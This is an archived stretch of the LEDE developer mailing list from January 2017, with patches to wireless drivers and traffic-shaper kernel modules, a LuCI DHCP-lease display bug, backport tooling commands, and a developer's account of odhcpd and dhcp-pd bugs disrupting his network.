From greearb at candelatech.com  Thu Jan 19 15:08:15 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Thu, 19 Jan 2017 15:08:15 -0800
Subject: [LEDE-DEV] [PATCH 1/2] ath10k-ct: Fix performance of 2x2 hardware
 running 3x3 firmware.
Message-ID: <1484867296-6747-1-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

The driver had a bug when calculating the rateset.  This resolves
that and allows full VHT mcs rates on 2x2 hardware.

Signed-off-by: Ben Greear <greearb at candelatech.com>
---
 package/kernel/ath10k-ct/Makefile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/package/kernel/ath10k-ct/Makefile b/package/kernel/ath10k-ct/Makefile
index 3c31e11..629978e 100644
--- a/package/kernel/ath10k-ct/Makefile
+++ b/package/kernel/ath10k-ct/Makefile
@@ -8,8 +8,8 @@ PKG_LICENSE_FILES:=
 
 PKG_SOURCE_URL:=https://github.com/greearb/ath10k-ct.git
 PKG_SOURCE_PROTO:=git
-PKG_SOURCE_DATE:=2017-01-10
-PKG_SOURCE_VERSION:=f5bacb83baf95e887c50c286606f4f565ef71d86
+PKG_SOURCE_DATE:=2017-01-19
+PKG_SOURCE_VERSION:=e2fb92f23623d22353042b178d6fb65644ab9ef0
 PKG_MIRROR_HASH:=845950a177ed6dd7ad3f645df79403e9980f089a09b66e74a9b88abe58dfe5e6
 
 PKG_MAINTAINER:=Ben Greear <greearb at candelatech.com>
-- 
2.4.11



From timgreen412 at hotmail.com  Thu Jan 19 17:40:08 2017
From: timgreen412 at hotmail.com (tim green)
Date: Fri, 20 Jan 2017 01:40:08 +0000
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
Message-ID: <BL2PR08MB145DF2A14C55A9A180580B9F3710@BL2PR08MB145.namprd08.prod.outlook.com>

I have a rb493g.  How would I test the sysupgrade?  I am currently running openwrt 15.01.

Thanks
Tim

From lede-daniel at cshore.thecshore.com  Thu Jan 19 22:58:45 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Fri, 20 Jan 2017 01:58:45 -0500
Subject: [LEDE-DEV] Fw: [openwrt/luci] BUG: DHCP Leases "infinite" time
 shows as "expired" not as "unlimited" in IPv4 (#963)
Message-ID: <20170120015845.05503000@danielf.thecshore.com>

Hi Hans,

In LuCI GitHub issue 963 (https://github.com/openwrt/luci/issues/963),
a user discovered that LuCI incorrectly reports dnsmasq infinite
leasetime as expired because the LuCI check is based on odhcpd's -1 for
INFINITE_VALID, but dnsmasq uses 0 in the dhcp.leases file for
infinite leases.  Would it be preferable to sync odhcpd and dnsmasq
(I know odhcpd at one time used 0 for INFINITE_VALID in the statefile
but that that was changed, and I don't know why).  From a LuCI point of
view I'm not sure if there some caveat with the 0 value (I seem to
recall odhcpd uses 0 to represent something other than infinite, but I
could be wrong).  Before hacking on LuCI for the dnsmasq case I want to
make sure I understand what values are going to be found in the odhcpd
case.

User's findings (last comment only) reproduced below.

Regards,

Daniel

Begin forwarded message:

Date: Thu, 19 Jan 2017 22:38:34 -0800
From: NvrBst <notifications at github.com>
To: openwrt/luci <luci at noreply.github.com>
Mention
<mention at noreply.github.com> Subject: Re: [openwrt/luci] BUG: DHCP
Leases "infinite" time shows as "expired" not as "unlimited" in IPv4
(#963)


I see! Upon looking, _dnsmasq_ stores infinite leases as "0" in the
_/tmp/dhcp.leases_ file. This corresponds to the _01/01/1970 00:00:00
GMT_, in Unix EPOCH time. Since today's date is "1484889355". But the
expires property is (EXPIRY DATE - TODAYS DATE). So it's 0-1484889355.
So any value below -1484889355 works.

So if someone wanted to do a dnsmasq infinite check properly you could:

1. Check the _/tmp/dhcp.leases_ file and see if it has a 0 as the time.
2. Since the DHCP Lease Table is pulling its information from:

3. `XHR.poll(5, '<%=url('admin/network/dhcplease_status')%>'`
4. Going to the URL:
_http://192.168.0.1/cgi-bin/luci/admin/network/dhcplease_status_ shows
that it only gives the expiry conversion, and not the original expiry
date. So someone would have to alter the structs and put the expiry
time, and original EXPIRY DATE. Then you can use that and check to see
if it's 0 for an infinite lease --- More work. 5. The leases[i].expires
property is just EXPIRY DATE - CURRENT DATE. So you could reverse this
calculation and check to see if it's 0. Of course, playing with time
can be smudgy with rounding.

Option 2 is probably the cleanest, Option 3 is the easiest. So if we
were doing 3, we can just do the check in these two files as:

_luci/modules/luci-mod-admin-full/luasrc/view/admin_status/index.htm
luci/modules/luci-mod-admin-full/luasrc/view/admin_network/lease_status.htm_
```
					if (info.leases[i].expires ===
false || Math.trunc((new Date().getTime()/1000 +
info.leases[i].expires)/10) == 0) timestr = '<em><%:unlimited%></em>';
else if (info.leases[i].expires <= 0) timestr = '<em><%:expired%></em>';
```



-- 
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub:
https://github.com/openwrt/luci/issues/963#issuecomment-273989416
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170120/09b21917/attachment.html>

From dedeckeh at gmail.com  Thu Jan 19 23:59:23 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Fri, 20 Jan 2017 08:59:23 +0100
Subject: [LEDE-DEV] Fw: [openwrt/luci] BUG: DHCP Leases "infinite" time
 shows as "expired" not as "unlimited" in IPv4 (#963)
In-Reply-To: <20170120015845.05503000@danielf.thecshore.com>
References: <20170120015845.05503000@danielf.thecshore.com>
Message-ID: <CAJLcKsGMhajxOjgWAYyGVry9Ur7y0pVPy66vMhMoA4Umz7EYsQ@mail.gmail.com>

Hi Daniel

odhcpd uses 0 to indicate a lease is expired while -1 is used to
reperesent infinite leasetime since the support of infinite leasetime
(http://lists.infradead.org/pipermail/lede-dev/2016-November/004133.html).
I have my doubts can you make a distinction in dnsmasq between
infinite leasetime and a lease which is expired knowing the code
quality of dnsmasq.
So I would prefer to keep -1 for infinite leasetime to make it clear
it's "infinite" and to make a distinction with an expired lease.

Hans

On Fri, Jan 20, 2017 at 7:58 AM, Daniel Dickinson
<lede-daniel at cshore.thecshore.com> wrote:
> Hi Hans,
>
> In LuCI GitHub issue 963 (https://github.com/openwrt/luci/issues/963),
> a user discovered that LuCI incorrectly reports dnsmasq infinite
> leasetime as expired because the LuCI check is based on odhcpd's -1 for
> INFINITE_VALID, but dnsmasq uses 0 in the dhcp.leases file for
> infinite leases.  Would it be preferable to sync odhcpd and dnsmasq
> (I know odhcpd at one time used 0 for INFINITE_VALID in the statefile
> but that that was changed, and I don't know why).  From a LuCI point of
> view I'm not sure if there some caveat with the 0 value (I seem to
> recall odhcpd uses 0 to represent something other than infinite, but I
> could be wrong).  Before hacking on LuCI for the dnsmasq case I want to
> make sure I understand what values are going to be found in the odhcpd
> case.
>
> User's findings (last comment only) reproduced below.
>
> Regards,
>
> Daniel
>
> Begin forwarded message:
>
> Date: Thu, 19 Jan 2017 22:38:34 -0800
> From: NvrBst <notifications at github.com>
> To: openwrt/luci <luci at noreply.github.com>
> Mention
> <mention at noreply.github.com> Subject: Re: [openwrt/luci] BUG: DHCP
> Leases "infinite" time shows as "expired" not as "unlimited" in IPv4
> (#963)
>
>
> I see! Upon looking, _dnsmasq_ stores infinite leases as "0" in the
> _/tmp/dhcp.leases_ file. This corresponds to the _01/01/1970 00:00:00
> GMT_, in Unix EPOCH time. Since today's date is "1484889355". But the
> expires property is (EXPIRY DATE - TODAYS DATE). So it's 0-1484889355.
> So any value below -1484889355 works.
>
> So if someone wanted to do a dnsmasq infinite check properly you could:
>
> 1. Check the _/tmp/dhcp.leases_ file and see if it has a 0 as the time.
> 2. Since the DHCP Lease Table is pulling its information from:
>
> 3. `XHR.poll(5, '<%=url('admin/network/dhcplease_status')%>'`
> 4. Going to the URL:
> _http://192.168.0.1/cgi-bin/luci/admin/network/dhcplease_status_ shows
> that it only gives the expiry conversion, and not the original expiry
> date. So someone would have to alter the structs and put the expiry
> time, and original EXPIRY DATE. Then you can use that and check to see
> if it's 0 for an infinite lease --- More work. 5. The leases[i].expires
> property is just EXPIRY DATE - CURRENT DATE. So you could reverse this
> calculation and check to see if it's 0. Of course, playing with time
> can be smudgy with rounding.
>
> Option 2 is probably the cleanest, Option 3 is the easiest. So if we
> were doing 3, we can just do the check in these two files as:
>
> _luci/modules/luci-mod-admin-full/luasrc/view/admin_status/index.htm
> luci/modules/luci-mod-admin-full/luasrc/view/admin_network/lease_status.htm_
> ```
>                                         if (info.leases[i].expires ===
> false || Math.trunc((new Date().getTime()/1000 +
> info.leases[i].expires)/10) == 0) timestr = '<em><%:unlimited%></em>';
> else if (info.leases[i].expires <= 0) timestr = '<em><%:expired%></em>';
> ```
>
>
>
> --
> You are receiving this because you were mentioned.
> Reply to this email directly or view it on GitHub:
> https://github.com/openwrt/luci/issues/963#issuecomment-273989416


From nbd at nbd.name  Fri Jan 20 02:02:54 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 20 Jan 2017 11:02:54 +0100
Subject: [LEDE-DEV] [PATCH] kmod-sched-core: Remove HFSC and replace it
 with HTB
In-Reply-To: <74F95937-1EC2-41E8-BD20-6B71A5864C28@toke.dk>
References: <20170119181206.2411-1-toke@toke.dk>
 <c27c8bc2-27a2-f6cf-dd69-a571e4769922@nbd.name>
 <74F95937-1EC2-41E8-BD20-6B71A5864C28@toke.dk>
Message-ID: <f9470077-25c5-92fd-657c-ac20122d2cdf@nbd.name>

On 2017-01-19 21:35, Toke H?iland-J?rgensen wrote:
> 
> 
> On 19 January 2017 21:08:40 CET, Felix Fietkau <nbd at nbd.name> wrote:
>>On 2017-01-19 19:12, Toke H?iland-J?rgensen wrote:
>>> Given the stability issues with HFSC, move that from kmod-sched-core
>>to
>>> kmod-sched and replace it with HTB.
>>> 
>>> This has the added benefit of enabling sqm-scripts to downgrade its
>>> dependency from kmod-sched to kmod-sched-core, potentially making it
>>> useful on devices with little flash.
>>> 
>>> Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
>>NACK. This breaks qos-scripts.
> 
> Ah, right, bugger. Totally missed that. Hmm, I don't suppose you'll me amenable to having both hfsc and htb in -core?
Fine with me.

- Felix



From koen.vandeputte at ncentric.com  Fri Jan 20 02:26:42 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 20 Jan 2017 11:26:42 +0100
Subject: [LEDE-DEV] [PATCH] mac80211: backport calculate-min-channel-width
 fix
Message-ID: <1484908002-22568-1-git-send-email-koen.vandeputte@ncentric.com>

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 .../354-calc-minchannelwidth-correctly.patch       | 57 ++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 package/kernel/mac80211/patches/354-calc-minchannelwidth-correctly.patch

diff --git a/package/kernel/mac80211/patches/354-calc-minchannelwidth-correctly.patch b/package/kernel/mac80211/patches/354-calc-minchannelwidth-correctly.patch
new file mode 100644
index 0000000..60e6589
--- /dev/null
+++ b/package/kernel/mac80211/patches/354-calc-minchannelwidth-correctly.patch
@@ -0,0 +1,57 @@
+From 96aa2e7cf126773b16c6c19b7474a8a38d3c707e Mon Sep 17 00:00:00 2001
+From: Johannes Berg <johannes.berg at intel.com>
+Date: Fri, 7 Oct 2016 12:23:49 +0200
+Subject: [PATCH] mac80211: calculate min channel width correctly
+
+In the current minimum chandef code there's an issue in that the
+recalculation can happen after rate control is initialized for a
+station that has a wider bandwidth than the current chanctx, and
+then rate control can immediately start using those higher rates
+which could cause problems.
+
+Observe that first of all that this problem is because we don't
+take non-associated and non-uploaded stations into account. The
+restriction to non-associated is quite pointless and is one of
+the causes for the problem described above, since the rate init
+will happen before the station is set to associated; no frames
+could actually be sent until associated, but the rate table can
+already contain higher rates and that might cause problems.
+
+Also, rejecting non-uploaded stations is wrong, since the rate
+control can select higher rates for those as well.
+
+Secondly, it's then necessary to recalculate the minimal config
+before initializing rate control, so that when rate control is
+initialized, the higher rates are already available. This can be
+done easily by adding the necessary function call in rate init.
+
+Change-Id: Ib9bc02d34797078db55459d196993f39dcd43070
+Signed-off-by: Johannes Berg <johannes.berg at intel.com>
+---
+ net/mac80211/chan.c | 3 ---
+ net/mac80211/rate.c | 2 ++
+ 2 files changed, 2 insertions(+), 3 deletions(-)
+
+--- a/net/mac80211/chan.c
++++ b/net/mac80211/chan.c
+@@ -231,9 +231,6 @@ ieee80211_get_max_required_bw(struct iee
+ 		    !(sta->sdata->bss && sta->sdata->bss == sdata->bss))
+ 			continue;
+ 
+-		if (!sta->uploaded || !test_sta_flag(sta, WLAN_STA_ASSOC))
+-			continue;
+-
+ 		max_bw = max(max_bw, ieee80211_get_sta_bw(&sta->sta));
+ 	}
+ 	rcu_read_unlock();
+--- a/net/mac80211/rate.c
++++ b/net/mac80211/rate.c
+@@ -40,6 +40,8 @@ void rate_control_rate_init(struct sta_i
+ 
+ 	ieee80211_sta_set_rx_nss(sta);
+ 
++	ieee80211_recalc_min_chandef(sta->sdata);
++
+ 	if (!ref)
+ 		return;
+ 
-- 
2.7.4



From nbd at nbd.name  Fri Jan 20 02:13:52 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 20 Jan 2017 11:13:52 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <BL2PR08MB145DF2A14C55A9A180580B9F3710@BL2PR08MB145.namprd08.prod.outlook.com>
References: <BL2PR08MB145DF2A14C55A9A180580B9F3710@BL2PR08MB145.namprd08.prod.outlook.com>
Message-ID: <63c3a8d4-77d9-7249-4c60-94f6f3059591@nbd.name>

On 2017-01-20 02:40, tim green wrote:
> I have a rb493g.  How would I test the sysupgrade?  I am currently running openwrt 15.01.
You need to boot the new initramfs image, then run sysupgrade from there.

- Felix



From nbd at nbd.name  Fri Jan 20 02:33:44 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 20 Jan 2017 11:33:44 +0100
Subject: [LEDE-DEV] [PATCH] mac80211: backport
 calculate-min-channel-width fix
In-Reply-To: <1484908002-22568-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484908002-22568-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <ba3ca23d-8fe2-603e-2bcf-363a90547f44@nbd.name>

On 2017-01-20 11:26, Koen Vandeputte wrote:
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
To get the filenames right, please use import-backports.sh from
package/kernel/mac80211/scripts:

- export the commit from a git tree with git-format-patch -o <dir>
- in the mac80211 build dir unpacked with QUILT=1 switch to the last 3xx
patch
- run import-backports.sh 300 /path/to/patchfile.patch

- Felix


From koen.vandeputte at ncentric.com  Fri Jan 20 02:36:31 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 20 Jan 2017 11:36:31 +0100
Subject: [LEDE-DEV] [PATCH] mac80211: backport
 calculate-min-channel-width fix
In-Reply-To: <ba3ca23d-8fe2-603e-2bcf-363a90547f44@nbd.name>
References: <1484908002-22568-1-git-send-email-koen.vandeputte@ncentric.com>
 <ba3ca23d-8fe2-603e-2bcf-363a90547f44@nbd.name>
Message-ID: <c2c2241a-f0e8-63dc-0711-ea621d60d01b@ncentric.com>


On 2017-01-20 11:33, Felix Fietkau wrote:
> On 2017-01-20 11:26, Koen Vandeputte wrote:
>> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> To get the filenames right, please use import-backports.sh from
> package/kernel/mac80211/scripts:
>
> - export the commit from a git tree with git-format-patch -o <dir>
> - in the mac80211 build dir unpacked with QUILT=1 switch to the last 3xx
> patch
> - run import-backports.sh 300 /path/to/patchfile.patch
Ok, will do
Thanks
> - Felix

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From linus.luessing at c0d3.blue  Fri Jan 20 02:37:55 2017
From: linus.luessing at c0d3.blue (Linus =?utf-8?Q?L=C3=BCssing?=)
Date: Fri, 20 Jan 2017 11:37:55 +0100
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
Message-ID: <20170120103755.GK3498@otheros>

Hi,

Is there any further information regarding this commit somewhere?

"bridge: disable IGMP snooping by default"
https://git.lede-project.org/?p=project/netifd.git;a=commitdiff;h=52541140f8138e31958cdc3d7e42a4029fa6bbc9

Regards, Linus


From nbd at nbd.name  Fri Jan 20 02:54:23 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 20 Jan 2017 11:54:23 +0100
Subject: [LEDE-DEV] [PATCH] kernel: bump to 4.4.43
In-Reply-To: <1484556132-3694-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484556132-3694-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <16de1820-863e-37b0-db44-ac3fdd7f8602@nbd.name>

On 2017-01-16 09:42, Koen Vandeputte wrote:
> Refreshed patches for all supported targets.
> 
> Compiled & tested on imx6
> 
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
4.4.44 has been released.

- Felix


From zajec5 at gmail.com  Fri Jan 20 03:25:45 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Fri, 20 Jan 2017 12:25:45 +0100
Subject: [LEDE-DEV] [PATCH] mac80211: backport
 calculate-min-channel-width fix
In-Reply-To: <ba3ca23d-8fe2-603e-2bcf-363a90547f44@nbd.name>
References: <1484908002-22568-1-git-send-email-koen.vandeputte@ncentric.com>
 <ba3ca23d-8fe2-603e-2bcf-363a90547f44@nbd.name>
Message-ID: <CACna6rz7XHiDo-O-WOMbezsv2G4OJymEB_8UhgxWpsi69zCLJw@mail.gmail.com>

On 20 January 2017 at 11:33, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-20 11:26, Koen Vandeputte wrote:
>> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> To get the filenames right, please use import-backports.sh from
> package/kernel/mac80211/scripts:
>
> - export the commit from a git tree with git-format-patch -o <dir>
> - in the mac80211 build dir unpacked with QUILT=1 switch to the last 3xx
> patch
> - run import-backports.sh 300 /path/to/patchfile.patch

This is a set of commands I use:
make package/kernel/mac80211/clean
make package/kernel/mac80211/prepare QUILT=1 V=s
cd build_dir/target-*/linux-*/compat-wireless-*/
quilt push $(quilt series | egrep "^3" | tail -n 1)
../../../../package/kernel/mac80211/scripts/import-backports.sh 300
/path/to/commit.patch
quilt push -a
cd ../../../..
make package/kernel/mac80211/update V=s
git status


From koen.vandeputte at ncentric.com  Fri Jan 20 03:40:33 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 20 Jan 2017 12:40:33 +0100
Subject: [LEDE-DEV] [PATCH v2] mac80211: backport
 calculate-min-channel-width fix
Message-ID: <1484912433-2253-1-git-send-email-koen.vandeputte@ncentric.com>

compiled & tested on cns3xxx

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 ...211-calculate-min-channel-width-correctly.patch | 53 ++++++++++++++++++++++
 1 file changed, 53 insertions(+)
 create mode 100644 package/kernel/mac80211/patches/354-mac80211-calculate-min-channel-width-correctly.patch

diff --git a/package/kernel/mac80211/patches/354-mac80211-calculate-min-channel-width-correctly.patch b/package/kernel/mac80211/patches/354-mac80211-calculate-min-channel-width-correctly.patch
new file mode 100644
index 0000000..4567b02
--- /dev/null
+++ b/package/kernel/mac80211/patches/354-mac80211-calculate-min-channel-width-correctly.patch
@@ -0,0 +1,53 @@
+From: Johannes Berg <johannes.berg at intel.com>
+Date: Fri, 7 Oct 2016 12:23:49 +0200
+Subject: [PATCH] mac80211: calculate min channel width correctly
+
+In the current minimum chandef code there's an issue in that the
+recalculation can happen after rate control is initialized for a
+station that has a wider bandwidth than the current chanctx, and
+then rate control can immediately start using those higher rates
+which could cause problems.
+
+Observe that first of all that this problem is because we don't
+take non-associated and non-uploaded stations into account. The
+restriction to non-associated is quite pointless and is one of
+the causes for the problem described above, since the rate init
+will happen before the station is set to associated; no frames
+could actually be sent until associated, but the rate table can
+already contain higher rates and that might cause problems.
+
+Also, rejecting non-uploaded stations is wrong, since the rate
+control can select higher rates for those as well.
+
+Secondly, it's then necessary to recalculate the minimal config
+before initializing rate control, so that when rate control is
+initialized, the higher rates are already available. This can be
+done easily by adding the necessary function call in rate init.
+
+Change-Id: Ib9bc02d34797078db55459d196993f39dcd43070
+Signed-off-by: Johannes Berg <johannes.berg at intel.com>
+---
+
+--- a/net/mac80211/chan.c
++++ b/net/mac80211/chan.c
+@@ -231,9 +231,6 @@ ieee80211_get_max_required_bw(struct iee
+ 		    !(sta->sdata->bss && sta->sdata->bss == sdata->bss))
+ 			continue;
+ 
+-		if (!sta->uploaded || !test_sta_flag(sta, WLAN_STA_ASSOC))
+-			continue;
+-
+ 		max_bw = max(max_bw, ieee80211_get_sta_bw(&sta->sta));
+ 	}
+ 	rcu_read_unlock();
+--- a/net/mac80211/rate.c
++++ b/net/mac80211/rate.c
+@@ -40,6 +40,8 @@ void rate_control_rate_init(struct sta_i
+ 
+ 	ieee80211_sta_set_rx_nss(sta);
+ 
++	ieee80211_recalc_min_chandef(sta->sdata);
++
+ 	if (!ref)
+ 		return;
+ 
-- 
2.7.4



From toke at toke.dk  Fri Jan 20 04:13:35 2017
From: toke at toke.dk (=?UTF-8?q?Toke=20H=C3=B8iland-J=C3=B8rgensen?=)
Date: Fri, 20 Jan 2017 13:13:35 +0100
Subject: [LEDE-DEV] [PATCH v2] kmod-sched-core: Add HTB and TBF traffic
 shapers
In-Reply-To: <20170119181206.2411-1-toke@toke.dk>
References: <20170119181206.2411-1-toke@toke.dk>
Message-ID: <20170120121335.25604-1-toke@toke.dk>

HTB and TBF are the basic traffic shapers used by sqm-scripts. Moving
these into kmod-sched-core enables sqm-scripts to downgrade its
dependency from kmod-sched to kmod-sched-core, potentially making it
useful on devices with smaller flash sizes.

This adds around 30k to the size of kmod-sched-core (20k for sch_htb.ko
and 10k for sch_tbf.ko).

Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
---
Also merging this to 17.01 would be good.

 package/kernel/linux/modules/netsupport.mk | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/package/kernel/linux/modules/netsupport.mk b/package/kernel/linux/modules/netsupport.mk
index ef5c5ba848..3d5e74327a 100644
--- a/package/kernel/linux/modules/netsupport.mk
+++ b/package/kernel/linux/modules/netsupport.mk
@@ -736,7 +736,7 @@ $(eval $(call KernelPackage,mppe))
 
 
 SCHED_MODULES = $(patsubst $(LINUX_DIR)/net/sched/%.ko,%,$(wildcard $(LINUX_DIR)/net/sched/*.ko))
-SCHED_MODULES_CORE = sch_ingress sch_fq_codel sch_hfsc cls_fw cls_route cls_flow cls_tcindex cls_u32 em_u32 act_mirred act_skbedit
+SCHED_MODULES_CORE = sch_ingress sch_fq_codel sch_hfsc sch_htb sch_tbf cls_fw cls_route cls_flow cls_tcindex cls_u32 em_u32 act_mirred act_skbedit
 SCHED_MODULES_FILTER = $(SCHED_MODULES_CORE) act_connmark sch_netem
 SCHED_MODULES_EXTRA = $(filter-out $(SCHED_MODULES_FILTER),$(SCHED_MODULES))
 SCHED_FILES = $(patsubst %,$(LINUX_DIR)/net/sched/%.ko,$(filter $(SCHED_MODULES_CORE),$(SCHED_MODULES)))
@@ -748,6 +748,8 @@ define KernelPackage/sched-core
   KCONFIG:= \
 	CONFIG_NET_SCHED=y \
 	CONFIG_NET_SCH_HFSC \
+	CONFIG_NET_SCH_HTB \
+	CONFIG_NET_SCH_TBF \
 	CONFIG_NET_SCH_INGRESS \
 	CONFIG_NET_SCH_FQ_CODEL \
 	CONFIG_NET_CLS=y \
@@ -789,12 +791,10 @@ define KernelPackage/sched
   KCONFIG:= \
 	CONFIG_NET_SCH_CODEL \
 	CONFIG_NET_SCH_DSMARK \
-	CONFIG_NET_SCH_HTB \
 	CONFIG_NET_SCH_FIFO \
 	CONFIG_NET_SCH_GRED \
 	CONFIG_NET_SCH_PRIO \
 	CONFIG_NET_SCH_RED \
-	CONFIG_NET_SCH_TBF \
 	CONFIG_NET_SCH_SFQ \
 	CONFIG_NET_SCH_TEQL \
 	CONFIG_NET_SCH_FQ \
-- 
2.11.0



From lede-daniel at cshore.thecshore.com  Fri Jan 20 14:06:14 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Fri, 20 Jan 2017 17:06:14 -0500
Subject: [LEDE-DEV] s/dnsmasq/unbound+odhcpd/
In-Reply-To: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>
References: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>
Message-ID: <20170120170614.4736b177@danielf.thecshore.com>

On Thu, 19 Jan 2017 21:34:45 +0100
Dan L?dtke <mail at danrl.com> wrote:

> Hi everyone,
> 
> i built LEDE without dnsmasq but with odhcp instead. Mainly out of
> curiosity and to test a recent PR by Eric Luehrsen regarding
> unbound+odhcp.

Sound interesting.  Can it do multiple instances?

> 
> C) How easy it is to determine if dnsmasq and/or odhcp are installed?
> I like to make the GUI capable of configuring odhcpd, too. Some
> functions do work already, but that is due to the fact that ODHCPD
> reads some of dnsmasq/luci variables fine. Some not (ignored) and
> some are missing. --> https://github.com/sbyx/odhcpd
> 

Can you look at https://github.com/openwrt/luci/pull/964 and see if it
fits this part of your needs?  (I had simply not pushed it out yet,
it's well tested).

Regards,

Daniel


From greearb at candelatech.com  Fri Jan 20 14:17:56 2017
From: greearb at candelatech.com (Ben Greear)
Date: Fri, 20 Jan 2017 14:17:56 -0800
Subject: [LEDE-DEV] [PATCH 1/2] ath10k-ct: Fix performance of 2x2
 hardware running 3x3 firmware.
In-Reply-To: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
References: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
Message-ID: <71660d59-4d9a-e622-cd95-9a3bbc55c1ce@candelatech.com>

Please do not apply this, it has issues.  I will send a v2 patch.

Thanks,
Ben

On 01/19/2017 03:08 PM, greearb at candelatech.com wrote:
> From: Ben Greear <greearb at candelatech.com>
>
> The driver had a bug when calculating the rateset.  This resolves
> that and allows full VHT mcs rates on 2x2 hardware.
>
> Signed-off-by: Ben Greear <greearb at candelatech.com>
> ---
>  package/kernel/ath10k-ct/Makefile | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/package/kernel/ath10k-ct/Makefile b/package/kernel/ath10k-ct/Makefile
> index 3c31e11..629978e 100644
> --- a/package/kernel/ath10k-ct/Makefile
> +++ b/package/kernel/ath10k-ct/Makefile
> @@ -8,8 +8,8 @@ PKG_LICENSE_FILES:=
>
>  PKG_SOURCE_URL:=https://github.com/greearb/ath10k-ct.git
>  PKG_SOURCE_PROTO:=git
> -PKG_SOURCE_DATE:=2017-01-10
> -PKG_SOURCE_VERSION:=f5bacb83baf95e887c50c286606f4f565ef71d86
> +PKG_SOURCE_DATE:=2017-01-19
> +PKG_SOURCE_VERSION:=e2fb92f23623d22353042b178d6fb65644ab9ef0
>  PKG_MIRROR_HASH:=845950a177ed6dd7ad3f645df79403e9980f089a09b66e74a9b88abe58dfe5e6
>
>  PKG_MAINTAINER:=Ben Greear <greearb at candelatech.com>
>


-- 
Ben Greear <greearb at candelatech.com>
Candela Technologies Inc  http://www.candelatech.com



From dave at taht.net  Fri Jan 20 15:16:33 2017
From: dave at taht.net (=?UTF-8?Q?Dave_T=c3=a4ht?=)
Date: Fri, 20 Jan 2017 15:16:33 -0800
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <20170120103755.GK3498@otheros>
References: <20170120103755.GK3498@otheros>
Message-ID: <73348035-f17f-835d-58e7-5e35292d9e98@taht.net>



On 1/20/17 2:37 AM, Linus L?ssing wrote:
> Hi,
> 
> Is there any further information regarding this commit somewhere?
> 
> "bridge: disable IGMP snooping by default"
> https://git.lede-project.org/?p=project/netifd.git;a=commitdiff;h=52541140f8138e31958cdc3d7e42a4029fa6bbc9

This is probably my fault. At the time I was seeing multicast traffic
coming in from "somewhere" in bridge mode and pointed a finger at this
and the multicast-unicast code. So felix disabled it. (Unless he has
more reports from elsewhere?)

My problems ended up having nothing to do with this code. I think.

What was *really* happening to me was:

1) Mucho hacking and debugging later I was told that odhcpd does not
respect the ignore setting in /etc/config/dhcp ( there's an url for this
behavior I was just given ) You have to explicitly disable all
the dhcpv6 options there to turn it off.

2) The odhcpd-pd implementation is badly broken: It stops doing ras
after being hit 3 times by a dhcp-pd request by another lede router
inside the network, thus taking the ipv6 portion of the net up and down
for 30-60 seconds every other minute... (see bug 388). Apparently
odhcpd has been borked this way since a point release of CC.

3) The edgerouters dhcp-pd implementation interacts with this really
badly, sending a flood of packets (which seemed to appear from
everywhere) and rapidly fork-bombing itself into death, while taking out
the lede router per item 2, and stopping forwarding anything...

(the culmination of this was the near complete, and repeated collapse of
my producton network after the edgerouters went down, merely by adding a
single new lede router to the network). And it only takes 3 packets to
trigger, about 2 minutes, tops....)

Observing the debris, my gut said "broadcast/multicast storm".

4) before fiddling with dhcp-pd, I was seeing  excessive jitter and
latency on an heavily apple'd (mdns-heavy) network through the new wifi
code, and tons of multicast coming from places I'd not expected it from.
(but, see 1)

5) I was also seeing udhcp(v4) packets from a "c.h.i.p" entering the
network from its usb0 device when it was only supposed to come out of
wlan0 - I *think* this is a bug in udhcp where it doesn't lock the
output to the given interface (it's a single setsockopt),

Since after from digging myself out of that, I think I can no longer
blame the igmp or multi-cast bridging code for anything! it's probably
safe to re-enable.

but: I have not got around to retesting igmp snooping, multicast-unicast
personally, because I frantically went around turning it off everywhere,
and I'm still too scarred by these events to fiddle with 'em whilst I
try to fix bug 388.

I do note that I have a bias towards leaving multicast alone and for
that matter enabling stp by default on bridges. Especially in complex
networks. And I loathe the idea of "reliable multicast" on wifi on
